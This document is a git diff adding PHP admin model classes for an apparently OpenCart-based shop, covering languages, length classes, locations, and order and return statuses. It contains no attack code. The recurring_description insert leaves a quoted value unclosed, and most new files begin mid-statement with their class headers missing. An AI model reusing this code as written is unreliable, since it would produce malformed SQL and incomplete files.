+ $this->db->query("INSERT INTO " . DB_PREFIX . "length_class_description SET length_class_id = '" . (int)$length['length_class_id'] . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($length['title']) . "', unit = '" . $this->db->escape($length['unit']) . "'");
+ }
+
+ $this->cache->delete('length_class');
+
+ // Option
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "option_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $option) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_description SET option_id = '" . (int)$option['option_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($option['name']) . "'");
+ }
+
+ // Option Value
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "option_value_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $option_value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_value_description SET option_value_id = '" . (int)$option_value['option_value_id'] . "', language_id = '" . (int)$language_id . "', option_id = '" . (int)$option_value['option_id'] . "', name = '" . $this->db->escape($option_value['name']) . "'");
+ }
+
+ // Order Status
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $order_status) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "order_status SET order_status_id = '" . (int)$order_status['order_status_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($order_status['name']) . "'");
+ }
+
+ $this->cache->delete('order_status');
+
+ // Product
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $product) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_description SET product_id = '" . (int)$product['product_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($product['name']) . "', description = '" . $this->db->escape($product['description']) . "', tag = '" . $this->db->escape($product['tag']) . "', meta_title = '" . $this->db->escape($product['meta_title']) . "', meta_description = '" . $this->db->escape($product['meta_description']) . "', meta_keyword = '" . $this->db->escape($product['meta_keyword']) . "'");
+ }
+
+ $this->cache->delete('product');
+
+ // Product Attribute
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_attribute WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $product_attribute) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_attribute SET product_id = '" . (int)$product_attribute['product_id'] . "', attribute_id = '" . (int)$product_attribute['attribute_id'] . "', language_id = '" . (int)$language_id . "', text = '" . $this->db->escape($product_attribute['text']) . "'");
+ }
+
+ // Return Action
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_action WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $return_action) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_action SET return_action_id = '" . (int)$return_action['return_action_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($return_action['name']) . "'");
+ }
+
+ // Return Reason
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_reason WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $return_reason) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_reason SET return_reason_id = '" . (int)$return_reason['return_reason_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($return_reason['name']) . "'");
+ }
+
+ // Return Status
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $return_status) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_status SET return_status_id = '" . (int)$return_status['return_status_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($return_status['name']) . "'");
+ }
+
+ // Stock Status
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "stock_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $stock_status) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "stock_status SET stock_status_id = '" . (int)$stock_status['stock_status_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($stock_status['name']) . "'");
+ }
+
+ $this->cache->delete('stock_status');
+
+ // Voucher Theme
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "voucher_theme_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $voucher_theme) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "voucher_theme_description SET voucher_theme_id = '" . (int)$voucher_theme['voucher_theme_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($voucher_theme['name']) . "'");
+ }
+
+ $this->cache->delete('voucher_theme');
+
+ // Weight Class
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "weight_class_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $weight_class) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "weight_class_description SET weight_class_id = '" . (int)$weight_class['weight_class_id'] . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($weight_class['title']) . "', unit = '" . $this->db->escape($weight_class['unit']) . "'");
+ }
+
+ $this->cache->delete('weight_class');
+
+ // Profiles
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "recurring_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $recurring) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "recurring_description SET recurring_id = '" . (int)$recurring['recurring_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($recurring['name']));
+ }
+
+ return $language_id;
+ }
+
+ public function editLanguage($language_id, $data) {
+ $language_query = $this->db->query("SELECT `code` FROM " . DB_PREFIX . "language WHERE language_id = '" . (int)$language_id . "'");
+
+ $this->db->query("UPDATE " . DB_PREFIX . "language SET name = '" . $this->db->escape($data['name']) . "', code = '" . $this->db->escape($data['code']) . "', locale = '" . $this->db->escape($data['locale']) . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "' WHERE language_id = '" . (int)$language_id . "'");
+
+ if ($language_query->row['code'] != $data['code']) {
+ $this->db->query("UPDATE " . DB_PREFIX . "setting SET value = '" . $this->db->escape($data['code']) . "' WHERE `key` = 'config_language' AND value = '" . $this->db->escape($language_query->row['code']) . "'");
+ $this->db->query("UPDATE " . DB_PREFIX . "setting SET value = '" . $this->db->escape($data['code']) . "' WHERE `key` = 'config_admin_language' AND value = '" . $this->db->escape($language_query->row['code']) . "'");
+ }
+
+ $this->cache->delete('catalog.language');
+ $this->cache->delete('admin.language');
+ }
+
+ public function deleteLanguage($language_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "language WHERE language_id = '" . (int)$language_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE language_id = '" . (int)$language_id . "'");
+
+ $this->cache->delete('catalog.language');
+ $this->cache->delete('admin.language');
+
+ }
+
+ public function getLanguage($language_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "language WHERE language_id = '" . (int)$language_id . "'");
+
+ return $query->row;
+ }
+
+ public function getLanguages($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "language";
+
+ $sort_data = array(
+ 'name',
+ 'code',
+ 'sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY sort_order, name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $language_data = $this->cache->get('admin.language');
+
+ if (!$language_data) {
+ $language_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "language ORDER BY sort_order, name");
+
+ foreach ($query->rows as $result) {
+ $language_data[$result['code']] = array(
+ 'language_id' => $result['language_id'],
+ 'name' => $result['name'],
+ 'code' => $result['code'],
+ 'locale' => $result['locale'],
+ 'image' => $result['image'],
+ 'directory' => $result['directory'],
+ 'sort_order' => $result['sort_order'],
+ 'status' => $result['status']
+ );
+ }
+
+ $this->cache->set('admin.language', $language_data);
+ }
+
+ return $language_data;
+ }
+ }
+
+ public function getLanguageByCode($code) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "language` WHERE code = '" . $this->db->escape($code) . "'");
+
+ return $query->row;
+ }
+
+ public function getTotalLanguages() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "language");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/localisation/length_class.php b/public/admin/model/localisation/length_class.php
new file mode 100644
index 0000000..8de3b31
--- /dev/null
+++ b/public/admin/model/localisation/length_class.php
@@ -0,0 +1,120 @@
+db->query("INSERT INTO " . DB_PREFIX . "length_class SET value = '" . (float)$data['value'] . "'");
+
+ $length_class_id = $this->db->getLastId();
+
+ foreach ($data['length_class_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "length_class_description SET length_class_id = '" . (int)$length_class_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', unit = '" . $this->db->escape($value['unit']) . "'");
+ }
+
+ $this->cache->delete('length_class');
+
+ return $length_class_id;
+ }
+
+ public function editLengthClass($length_class_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "length_class SET value = '" . (float)$data['value'] . "' WHERE length_class_id = '" . (int)$length_class_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "length_class_description WHERE length_class_id = '" . (int)$length_class_id . "'");
+
+ foreach ($data['length_class_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "length_class_description SET length_class_id = '" . (int)$length_class_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', unit = '" . $this->db->escape($value['unit']) . "'");
+ }
+
+ $this->cache->delete('length_class');
+ }
+
+ public function deleteLengthClass($length_class_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "length_class WHERE length_class_id = '" . (int)$length_class_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "length_class_description WHERE length_class_id = '" . (int)$length_class_id . "'");
+
+ $this->cache->delete('length_class');
+ }
+
+ public function getLengthClasses($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "length_class lc LEFT JOIN " . DB_PREFIX . "length_class_description lcd ON (lc.length_class_id = lcd.length_class_id) WHERE lcd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'title',
+ 'unit',
+ 'value'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY title";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $length_class_data = $this->cache->get('length_class.' . (int)$this->config->get('config_language_id'));
+
+ if (!$length_class_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "length_class lc LEFT JOIN " . DB_PREFIX . "length_class_description lcd ON (lc.length_class_id = lcd.length_class_id) WHERE lcd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ $length_class_data = $query->rows;
+
+ $this->cache->set('length_class.' . (int)$this->config->get('config_language_id'), $length_class_data);
+ }
+
+ return $length_class_data;
+ }
+ }
+
+ public function getLengthClass($length_class_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "length_class lc LEFT JOIN " . DB_PREFIX . "length_class_description lcd ON (lc.length_class_id = lcd.length_class_id) WHERE lc.length_class_id = '" . (int)$length_class_id . "' AND lcd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getLengthClassDescriptionByUnit($unit) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "length_class_description WHERE unit = '" . $this->db->escape($unit) . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getLengthClassDescriptions($length_class_id) {
+ $length_class_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "length_class_description WHERE length_class_id = '" . (int)$length_class_id . "'");
+
+ foreach ($query->rows as $result) {
+ $length_class_data[$result['language_id']] = array(
+ 'title' => $result['title'],
+ 'unit' => $result['unit']
+ );
+ }
+
+ return $length_class_data;
+ }
+
+ public function getTotalLengthClasses() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "length_class");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/location.php b/public/admin/model/localisation/location.php
new file mode 100644
index 0000000..bda96fb
--- /dev/null
+++ b/public/admin/model/localisation/location.php
@@ -0,0 +1,65 @@
+db->query("INSERT INTO " . DB_PREFIX . "location SET name = '" . $this->db->escape($data['name']) . "', address = '" . $this->db->escape($data['address']) . "', geocode = '" . $this->db->escape($data['geocode']) . "', telephone = '" . $this->db->escape($data['telephone']) . "', fax = '" . $this->db->escape($data['fax']) . "', image = '" . $this->db->escape($data['image']) . "', open = '" . $this->db->escape($data['open']) . "', comment = '" . $this->db->escape($data['comment']) . "'");
+
+ return $this->db->getLastId();
+ }
+
+ public function editLocation($location_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "location SET name = '" . $this->db->escape($data['name']) . "', address = '" . $this->db->escape($data['address']) . "', geocode = '" . $this->db->escape($data['geocode']) . "', telephone = '" . $this->db->escape($data['telephone']) . "', fax = '" . $this->db->escape($data['fax']) . "', image = '" . $this->db->escape($data['image']) . "', open = '" . $this->db->escape($data['open']) . "', comment = '" . $this->db->escape($data['comment']) . "' WHERE location_id = '" . (int)$location_id . "'");
+ }
+
+ public function deleteLocation($location_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "location WHERE location_id = " . (int)$location_id);
+ }
+
+ public function getLocation($location_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "location WHERE location_id = '" . (int)$location_id . "'");
+
+ return $query->row;
+ }
+
+ public function getLocations($data = array()) {
+ $sql = "SELECT location_id, name, address FROM " . DB_PREFIX . "location";
+
+ $sort_data = array(
+ 'name',
+ 'address',
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalLocations() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "location");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/localisation/order_status.php b/public/admin/model/localisation/order_status.php
new file mode 100644
index 0000000..7f98836
--- /dev/null
+++ b/public/admin/model/localisation/order_status.php
@@ -0,0 +1,100 @@
+ $value) {
+ if (isset($order_status_id)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "order_status SET order_status_id = '" . (int)$order_status_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "order_status SET language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+
+ $order_status_id = $this->db->getLastId();
+ }
+ }
+
+ $this->cache->delete('order_status');
+
+ return $order_status_id;
+ }
+
+ public function editOrderStatus($order_status_id, $data) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "order_status WHERE order_status_id = '" . (int)$order_status_id . "'");
+
+ foreach ($data['order_status'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "order_status SET order_status_id = '" . (int)$order_status_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->cache->delete('order_status');
+ }
+
+ public function deleteOrderStatus($order_status_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "order_status WHERE order_status_id = '" . (int)$order_status_id . "'");
+
+ $this->cache->delete('order_status');
+ }
+
+ public function getOrderStatus($order_status_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_status WHERE order_status_id = '" . (int)$order_status_id . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getOrderStatuses($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "order_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sql .= " ORDER BY name";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $order_status_data = $this->cache->get('order_status.' . (int)$this->config->get('config_language_id'));
+
+ if (!$order_status_data) {
+ $query = $this->db->query("SELECT order_status_id, name FROM " . DB_PREFIX . "order_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY name");
+
+ $order_status_data = $query->rows;
+
+ $this->cache->set('order_status.' . (int)$this->config->get('config_language_id'), $order_status_data);
+ }
+
+ return $order_status_data;
+ }
+ }
+
+ public function getOrderStatusDescriptions($order_status_id) {
+ $order_status_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_status WHERE order_status_id = '" . (int)$order_status_id . "'");
+
+ foreach ($query->rows as $result) {
+ $order_status_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $order_status_data;
+ }
+
+ public function getTotalOrderStatuses() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "order_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/return_action.php b/public/admin/model/localisation/return_action.php
new file mode 100644
index 0000000..a121217
--- /dev/null
+++ b/public/admin/model/localisation/return_action.php
@@ -0,0 +1,100 @@
+ $value) {
+ if (isset($return_action_id)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_action SET return_action_id = '" . (int)$return_action_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_action SET language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+
+ $return_action_id = $this->db->getLastId();
+ }
+ }
+
+ $this->cache->delete('return_action');
+
+ return $return_action_id;
+ }
+
+ public function editReturnAction($return_action_id, $data) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "return_action WHERE return_action_id = '" . (int)$return_action_id . "'");
+
+ foreach ($data['return_action'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_action SET return_action_id = '" . (int)$return_action_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->cache->delete('return_action');
+ }
+
+ public function deleteReturnAction($return_action_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "return_action WHERE return_action_id = '" . (int)$return_action_id . "'");
+
+ $this->cache->delete('return_action');
+ }
+
+ public function getReturnAction($return_action_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_action WHERE return_action_id = '" . (int)$return_action_id . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getReturnActions($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "return_action WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sql .= " ORDER BY name";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $return_action_data = $this->cache->get('return_action.' . (int)$this->config->get('config_language_id'));
+
+ if (!$return_action_data) {
+ $query = $this->db->query("SELECT return_action_id, name FROM " . DB_PREFIX . "return_action WHERE language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY name");
+
+ $return_action_data = $query->rows;
+
+ $this->cache->set('return_action.' . (int)$this->config->get('config_language_id'), $return_action_data);
+ }
+
+ return $return_action_data;
+ }
+ }
+
+ public function getReturnActionDescriptions($return_action_id) {
+ $return_action_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_action WHERE return_action_id = '" . (int)$return_action_id . "'");
+
+ foreach ($query->rows as $result) {
+ $return_action_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $return_action_data;
+ }
+
+ public function getTotalReturnActions() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "return_action WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/return_reason.php b/public/admin/model/localisation/return_reason.php
new file mode 100644
index 0000000..b33ca3c
--- /dev/null
+++ b/public/admin/model/localisation/return_reason.php
@@ -0,0 +1,100 @@
+ $value) {
+ if (isset($return_reason_id)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_reason SET return_reason_id = '" . (int)$return_reason_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_reason SET language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+
+ $return_reason_id = $this->db->getLastId();
+ }
+ }
+
+ $this->cache->delete('return_reason');
+
+ return $return_reason_id;
+ }
+
+ public function editReturnReason($return_reason_id, $data) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "return_reason WHERE return_reason_id = '" . (int)$return_reason_id . "'");
+
+ foreach ($data['return_reason'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_reason SET return_reason_id = '" . (int)$return_reason_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->cache->delete('return_reason');
+ }
+
+ public function deleteReturnReason($return_reason_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "return_reason WHERE return_reason_id = '" . (int)$return_reason_id . "'");
+
+ $this->cache->delete('return_reason');
+ }
+
+ public function getReturnReason($return_reason_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_reason WHERE return_reason_id = '" . (int)$return_reason_id . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getReturnReasons($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "return_reason WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sql .= " ORDER BY name";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $return_reason_data = $this->cache->get('return_reason.' . (int)$this->config->get('config_language_id'));
+
+ if (!$return_reason_data) {
+ $query = $this->db->query("SELECT return_reason_id, name FROM " . DB_PREFIX . "return_reason WHERE language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY name");
+
+ $return_reason_data = $query->rows;
+
+ $this->cache->set('return_reason.' . (int)$this->config->get('config_language_id'), $return_reason_data);
+ }
+
+ return $return_reason_data;
+ }
+ }
+
+ public function getReturnReasonDescriptions($return_reason_id) {
+ $return_reason_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_reason WHERE return_reason_id = '" . (int)$return_reason_id . "'");
+
+ foreach ($query->rows as $result) {
+ $return_reason_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $return_reason_data;
+ }
+
+ public function getTotalReturnReasons() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "return_reason WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/return_status.php b/public/admin/model/localisation/return_status.php
new file mode 100644
index 0000000..8f258df
--- /dev/null
+++ b/public/admin/model/localisation/return_status.php
@@ -0,0 +1,100 @@
+ $value) {
+ if (isset($return_status_id)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_status SET return_status_id = '" . (int)$return_status_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_status SET language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+
+ $return_status_id = $this->db->getLastId();
+ }
+ }
+
+ $this->cache->delete('return_status');
+
+ return $return_status_id;
+ }
+
+ public function editReturnStatus($return_status_id, $data) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "return_status WHERE return_status_id = '" . (int)$return_status_id . "'");
+
+ foreach ($data['return_status'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "return_status SET return_status_id = '" . (int)$return_status_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->cache->delete('return_status');
+ }
+
+ public function deleteReturnStatus($return_status_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "return_status WHERE return_status_id = '" . (int)$return_status_id . "'");
+
+ $this->cache->delete('return_status');
+ }
+
+ public function getReturnStatus($return_status_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_status WHERE return_status_id = '" . (int)$return_status_id . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getReturnStatuses($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "return_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sql .= " ORDER BY name";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $return_status_data = $this->cache->get('return_status.' . (int)$this->config->get('config_language_id'));
+
+ if (!$return_status_data) {
+ $query = $this->db->query("SELECT return_status_id, name FROM " . DB_PREFIX . "return_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY name");
+
+ $return_status_data = $query->rows;
+
+ $this->cache->set('return_status.' . (int)$this->config->get('config_language_id'), $return_status_data);
+ }
+
+ return $return_status_data;
+ }
+ }
+
+ public function getReturnStatusDescriptions($return_status_id) {
+ $return_status_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_status WHERE return_status_id = '" . (int)$return_status_id . "'");
+
+ foreach ($query->rows as $result) {
+ $return_status_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $return_status_data;
+ }
+
+ public function getTotalReturnStatuses() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "return_status WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row['total'];
